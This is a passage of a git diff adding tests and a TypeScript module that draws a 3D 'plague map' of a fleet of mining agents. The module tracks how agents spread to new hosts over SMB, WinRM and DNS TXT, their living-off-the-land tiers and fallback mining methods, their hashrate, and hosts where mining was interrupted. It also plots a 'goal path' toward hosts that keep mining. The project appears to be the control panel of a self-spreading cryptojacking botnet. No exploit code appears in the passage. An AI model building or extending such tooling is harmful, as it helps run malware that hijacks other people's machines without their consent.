graph.edges) { + expect(e.weight).toBeGreaterThanOrEqual(0); + expect(e.id).not.toMatch(/cure|heal|recover/i); + } + }); + + it('computes goal path toward continuous mining strains', () => { + const root = '#root'; + const mid = '#mid'; + const leaf = '#leaf'; + const graph = buildEpidemiologyGraph([ + mkAgent({ + id: 'root', + spread_strain: root, + spread_generation: 0, + hashrate_15m: 0, + chain_exhausted: true, + }), + mkAgent({ + id: 'mid', + spread_strain: mid, + parent_agent_id: 'root', + join_lane: 'smb', + spread_generation: 1, + }), + mkAgent({ + id: 'leaf', + spread_strain: leaf, + parent_agent_id: 'mid', + join_lane: 'winrm', + spread_generation: 2, + hashrate_15m: 500, + active_method: 'container', + mining_hashrate: 500, + }), + ]); + expect(graph.goalPath).toContain(leaf); + expect(graph.goalPath[0]).toBe(root); + }); +}); + +describe('miningContinuity', () => { + it('flags interrupted mining with failed cascade', () => { + const agent = mkAgent({ + id: 'stuck', + chain_exhausted: true, + failed_methods: [{ method: 'wsl', reason: 'no distro', at: '2026-06-07T00:00:00Z' }], + }); + expect(miningContinuity(agent)).toBe('interrupted'); + expect(buildMiningInterruptState(agent)?.agentId).toBe('stuck'); + }); + + it('treats active hashrate as continuous', () => { + const agent = mkAgent({ + id: 'ok', + hashrate_15m: 200, + active_method: 'cpu_inprocess', + }); + expect(miningContinuity(agent)).toBe('continuous'); + expect(buildMiningInterruptState(agent)).toBeNull(); + }); +}); + +describe('layoutStrainNodes', () => { + it('returns stable positions per strain id', () => { + const nodes = buildEpidemiologyGraph([ + mkAgent({ id: 'a1', spread_strain: '#111111' }), + mkAgent({ id: 'a2', spread_strain: '#222222' }), + ]).nodes; + const a = layoutStrainNodes(nodes); + const b = layoutStrainNodes(nodes); + expect(a).toEqual(b); + }); +}); + +describe('resolveAgentStrain', () => { + it('prefers spread_strain watermark then join lane', () => { + expect(resolveAgentStrain(mkAgent({ id: 'x', spread_strain: '#ff00aa' }))).toBe('#ff00aa'); + expect(resolveAgentStrain(mkAgent({ id: 'y', join_lane: 'dns_txt' }))).toBe( + spreadStrainFromJoinLane('dns_txt'), + ); + }); +}); + +describe('computeGoalPath', () => { + it('returns empty when no continuous strains', () => { + const nodes = buildEpidemiologyGraph([ + mkAgent({ id: 'a', spread_strain: '#111', chain_exhausted: true }), + ]).nodes; + expect(computeGoalPath(nodes, [])).toEqual([]); + }); +}); diff --git a/server/web/src/help/fleetTopologyEpidemiology.ts b/server/web/src/help/fleetTopologyEpidemiology.ts new file mode 100644 index 0000000..d581039 --- /dev/null +++ b/server/web/src/help/fleetTopologyEpidemiology.ts @@ -0,0 +1,394 @@ +/** + * Fleet topology epidemiology — strains not hosts. + * + * Pure logic for the 3D plague map: nodes = spread strains, edges = successful + * parent→child spread weight. No cure edges — only propagation. + */ + +import type { Agent } from '../types'; + +export type MiningContinuity = 'continuous' | 'interrupted' | 'dormant' | 'offline'; +export type BranchStatus = 'success' | 'failed' | 'mixed' | 'dormant'; + +export interface MiningInterruptState { + agentId: string; + strain: string; + joinLane?: string; + spreadGeneration: number; + activeMethod?: string; + chainExhausted?: boolean; + failedMethods?: { method: string; reason: string; at: string }[]; + lastError?: string; + lotlTier?: string; + miningHashrate: number; + parentAgentId?: string; +} + +export interface StrainNode { + id: string; + label: string; + color: string; + hostCount: number; + onlineCount: number; + spreadGeneration: number; + miningContinuity: MiningContinuity; + branchStatus: BranchStatus; + successfulSpreads: number; + failedSpreads: number; + totalHashrate: number; + joinLane?: string; + /** Agents on this strain for interrupt reporting. */ + agentIds: string[]; +} + +export interface StrainEdge { + id: string; + sourceStrain: string; + targetStrain: string; + weight: number; + failedWeight: number; + branchStatus: BranchStatus; + onGoalPath: boolean; +} + +export interface EpidemiologyGraph { + nodes: StrainNode[]; + edges: StrainEdge[]; + goalPath: string[]; + interrupted: MiningInterruptState[]; + rootStrain?: string; +} + +const WILDTYPE_STRAIN = '#334455'; +const STRAIN_CAP = 80; + +/** SHA-256 (browser-safe) — matches Go genealogy strain color. */ +function sha256Bytes(message: Uint8Array): Uint8Array { + const K = new Uint32Array([ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2, + ]); + const rotr = (x: number, n: number) => (x >>> n) | (x << (32 - n)); + const len = message.length; + const bitLen = len * 8; + const padLen = ((len + 9 + 63) & ~63); + const padded = new Uint8Array(padLen); + padded.set(message); + padded[len] = 0x80; + const view = new DataView(padded.buffer); + view.setUint32(padLen - 4, bitLen >>> 0, false); + view.setUint32(padLen - 8, Math.floor(bitLen / 0x100000000), false); + + let h0 = 0x6a09e667, h1 = 0xbb67ae85, h2 = 0x3c6ef372, h3 = 0xa54ff53a; + let h4 = 0x510e527f, h5 = 0x9b05688c, h6 = 0x1f83d9ab, h7 = 0x5be0cd19; + const w = new Uint32Array(64); + + for (let off = 0; off < padded.length; off += 64) { + for (let i = 0; i < 16; i++) w[i] = view.getUint32(off + i * 4, false); + for (let i = 16; i < 64; i++) { + const s0 = rotr(w[i - 15], 7) ^ rotr(w[i - 15], 18) ^ (w[i - 15] >>> 3); + const s1 = rotr(w[i - 2], 17) ^ rotr(w[i - 2], 19) ^ (w[i - 2] >>> 10); + w[i] = (w[i - 16] + s0 + w[i - 7] + s1) >>> 0; + } + let a = h0, b = h1, c = h2, d = h3, e = h4, f = h5, g = h6, hh = h7; + for (let i = 0; i < 64; i++) { + const S1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25); + const ch = (e & f) ^ (~e & g); + const t1 = (hh + S1 + ch + K[i] + w[i]) >>> 0; + const S0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22); + const maj = (a & b) ^ (a & c) ^ (b & c); + const t2 = (S0 + maj) >>> 0; + hh = g; g = f; f = e; e = (d + t1) >>> 0; + d = c; c = b; b = a; a = (t1 + t2) >>> 0; + } + h0 = (h0 + a) >>> 0; h1 = (h1 + b) >>> 0; h2 = (h2 + c) >>> 0; h3 = (h3 + d) >>> 0; + h4 = (h4 + e) >>> 0; h5 = (h5 + f) >>> 0; h6 = (h6 + g) >>> 0; h7 = (h7 + hh) >>> 0; + } + const out = new Uint8Array(32); + const outView = new DataView(out.buffer); + outView.setUint32(0, h0, false); outView.setUint32(4, h1, false); + outView.setUint32(8, h2, false); outView.setUint32(12, h3, false); + outView.setUint32(16, h4, false); outView.setUint32(20, h5, false); + outView.setUint32(24, h6, false); outView.setUint32(28, h7, false); + return out; +} + +/** Stable #RRGGBB strain color from join lane (Go parity). */ +export function spreadStrainFromJoinLane(lane: string): string { + const normalized = lane.trim().toLowerCase(); + if (!normalized) return ''; + const bytes = new TextEncoder().encode(`aetherforge-strain:${normalized}`); + const digest = sha256Bytes(bytes); + const hex = (b: number) => b.toString(16).padStart(2, '0'); + return `#${hex(digest[0])}${hex(digest[1])}${hex(digest[2])}`; +} + +export function resolveAgentStrain(agent: Agent): string { + const baked = agent.spread_strain?.trim().toLowerCase(); + if (baked) return baked; + const fromLane = spreadStrainFromJoinLane(agent.join_lane ?? ''); + if (fromLane) return fromLane; + return WILDTYPE_STRAIN; +} + +export function strainLabel(strain: string, joinLane?: string, generation?: number): string { + if (joinLane) return joinLane; + if (generation && generation > 0) return `gen-${generation}`; + if (strain === WILDTYPE_STRAIN) return 'wildtype'; + return strain.replace(/^#/, 'strain-'); +} + +export function miningContinuity(agent: Agent): MiningContinuity { + if (agent.status !== 'online') return 'offline'; + if (agent.fleet_role === 'seeder') return 'dormant'; + const hr = agent.mining_hashrate ?? agent.hashrate_15m ?? 0; + const gpuHr = agent.gpu_hashrate_15m ?? 0; + const hashing = hr > 0 || gpuHr > 0; + if (hashing && (agent.active_method || agent.gpu_miner_active)) return 'continuous'; + if ( + agent.chain_exhausted || + (agent.failed_methods?.length ?? 0) > 0 || + agent.last_error || + (agent.lotl_attempts?.some((a) => !a.ok) ?? false) + ) { + return 'interrupted'; + } + if (agent.status === 'online' && !hashing) return 'interrupted'; + return 'dormant'; +} + +export function buildMiningInterruptState(agent: Agent): MiningInterruptState | null { + const continuity = miningContinuity(agent); + if (continuity !== 'interrupted') return null; + return { + agentId: agent.id, + strain: resolveAgentStrain(agent), + joinLane: agent.join_lane, + spreadGeneration: agent.spread_generation ?? 0, + activeMethod: agent.active_method, + chainExhausted: agent.chain_exhausted, + failedMethods: agent.failed_methods, + lastError: agent.last_error, + lotlTier: agent.lotl_tier, + miningHashrate: agent.mining_hashrate ?? agent.hashrate_15m ?? 0, + parentAgentId: agent.parent_agent_id, + }; +} + +function isSuccessfulSpread(child: Agent): boolean { + if (!child.parent_agent_id) return false; + return child.status === 'online' && (!!child.join_lane || child.spread_generation !== undefined); +} + +function isFailedSpread(child: Agent): boolean { + if (!child.parent_agent_id) return false; + return child.status === 'error' || child.status === 'offline'; +} + +function branchStatusFromCounts(success: number, failed: number, online: number): BranchStatus { + if (success === 0 && failed === 0 && online === 0) return 'dormant'; + if (success > 0 && failed === 0) return 'success'; + if (failed > 0 && success === 0) return 'failed'; + return 'mixed'; +} + +function stableHash(seed: string): number { + let h = 2166136261 >>> 0; + for (let i = 0; i < seed.length; i++) { + h ^= seed.charCodeAt(i); + h = Math.imul(h, 16777619) >>> 0; + } + return (h % 10000) / 10000; +} + +export interface StrainLayout { + strainId: string; + position: [number, number, number]; +} + +/** Place strain nodes on a stable spherical shell. */ +export function layoutStrainNodes(nodes: StrainNode[]): StrainLayout[] { + const goldenRatio = (1 + Math.sqrt(5)) / 2; + return nodes.map((node, i) => { + const angle = i * Math.PI * 2 * goldenRatio; + const jitter = stableHash(node.id); + const radius = 3.5 + jitter * 2.5 + Math.min(node.hostCount, 20) * 0.08; + const x = Math.cos(angle) * radius; + const z = Math.sin(angle) * radius; + const y = (stableHash(node.id + ':y') - 0.5) * 5; + return { strainId: node.id, position: [x, y, z] as [number, number, number] }; + }); +} + +/** BFS from root strains toward continuous-mining strains — goal path for visualization. */ +export function computeGoalPath(nodes: StrainNode[], edges: StrainEdge[]): string[] { + const byId = new Map(nodes.map((n) => [n.id, n])); + const continuous = nodes.filter((n) => n.miningContinuity === 'continuous').map((n) => n.id); + if (continuous.length === 0) return []; + + const adj = new Map(); + for (const e of edges) { + if (e.weight <= 0) continue; + if (!adj.has(e.sourceStrain)) adj.set(e.sourceStrain, []); + adj.get(e.sourceStrain)!.push({ target: e.targetStrain, weight: e.weight }); + } + + const roots = nodes + .filter((n) => n.spreadGeneration === 0 || n.id === WILDTYPE_STRAIN) + .map((n) => n.id); + if (roots.length === 0) roots.push(...nodes.map((n) => n.id)); + + let bestPath: string[] = []; + let bestScore = -1; + + for (const root of roots) { + const queue: { id: string; path: string[]; score: number }[] = [{ id: root, path: [root], score: 0 }]; + const seen = new Set([root]); + while (queue.length > 0) { + const cur = queue.shift()!; + if (continuous.includes(cur.id)) { + const node = byId.get(cur.id); + const bonus = (node?.totalHashrate ?? 0) + cur.score; + if (bonus > bestScore) { + bestScore = bonus; + bestPath = cur.path; + } + } + for (const next of adj.get(cur.id) ?? []) { + if (seen.has(next.target)) continue; + seen.add(next.target); + queue.push({ + id: next.target, + path: [...cur.path, next.target], + score: cur.score + next.weight, + }); + } + } + } + return bestPath; +} + +/** + * Build strain epidemiology graph from fleet agents. + * Nodes aggregate hosts per strain; edges count successful parent→child spreads only. + */ +export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph { + const agentsById = new Map(agents.map((a) => [a.id, a])); + const strainBuckets = new Map(); + + for (const agent of agents) { + const strain = resolveAgentStrain(agent); + if (!strainBuckets.has(strain)) strainBuckets.set(strain, []); + strainBuckets.get(strain)!.push(agent); + } + + const nodes: StrainNode[] = []; + for (const [strain, hosts] of strainBuckets) { + const online = hosts.filter((h) => h.status === 'online'); + const continuityRank = (c: MiningContinuity) => + c === 'continuous' ? 4 : c === 'interrupted' ? 3 : c === 'dormant' ? 2 : 1; + let bestContinuity: MiningContinuity = 'offline'; + for (const h of hosts) { + const c = miningContinuity(h); + if (continuityRank(c) > continuityRank(bestContinuity)) bestContinuity = c; + } + const successSpreads = hosts.filter(isSuccessfulSpread).length; + const failedSpreads = hosts.filter(isFailedSpread).length; + const joinLane = hosts.find((h) => h.join_lane)?.join_lane; + const maxGen = Math.max(0, ...hosts.map((h) => h.spread_generation ?? 0)); + nodes.push({ + id: strain, + label: strainLabel(strain, joinLane, maxGen), + color: strain.startsWith('#') ? strain : `#${strain}`, + hostCount: hosts.length, + onlineCount: online.length, + spreadGeneration: maxGen, + miningContinuity: bestContinuity, + branchStatus: branchStatusFromCounts(successSpreads, failedSpreads, online.length), + successfulSpreads: successSpreads, + failedSpreads, + totalHashrate: hosts.reduce( + (sum, h) => sum + (h.mining_hashrate ?? h.hashrate_15m ?? 0), + 0, + ), + joinLane, + agentIds: hosts.map((h) => h.id), + }); + } + + nodes.sort((a, b) => b.hostCount - a.hostCount); + const capped = nodes.length > STRAIN_CAP; + const displayNodes = capped ? nodes.slice(0, STRAIN_CAP) : nodes; + const displayStrains = new Set(displayNodes.map((n) => n.id)); + + const edgeMap = new Map(); + for (const child of agents) { + if (!child.parent_agent_id) continue; + const parent = agentsById.get(child.parent_agent_id); + if (!parent) continue; + const source = resolveAgentStrain(parent); + const target = resolveAgentStrain(child); + if (!displayStrains.has(source) || !displayStrains.has(target)) continue; + const key = `${source}→${target}`; + let edge = edgeMap.get(key); + if (!edge) { + edge = { + id: key, + sourceStrain: source, + targetStrain: target, + weight: 0, + failedWeight: 0, + branchStatus: 'dormant', + onGoalPath: false, + }; + edgeMap.set(key, edge); + } + if (isSuccessfulSpread(child)) edge.weight += 1; + else if (isFailedSpread(child)) edge.failedWeight += 1; + } + + const edges = [...edgeMap.values()].map((e) => ({ + ...e, + branchStatus: branchStatusFromCounts(e.weight, e.failedWeight, e.weight), + })); + + const goalPath = computeGoalPath(displayNodes, edges); + const goalSet = new Set(goalPath); + for (const e of edges) { + e.onGoalPath = goalSet.has(e.sourceStrain) && goalSet.has(e.targetStrain); + } + + const interrupted = agents + .map(buildMiningInterruptState) + .filter((s): s is MiningInterruptState => s !== null); + + const rootStrain = + displayNodes.find((n) => n.spreadGeneration === 0)?.id ?? displayNodes[0]?.id; + + return { + nodes: displayNodes, + edges, + goalPath, + interrupted, + rootStrain, + }; +} + +export function nodeEmissiveIntensity(node: StrainNode): number { + if (node.branchStatus === 'success' || node.miningContinuity === 'continuous') return 2.2; + if (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted') return 0.25; + if (node.branchStatus === 'mixed') return 1.0; + return 0.6; +} + +export function nodeWireOpacity(node: StrainNode): number { + if (node.branchStatus === 'failed') return 0.2; + if (node.miningContinuity === 'interrupted') return 0.35; + return 0.85; +}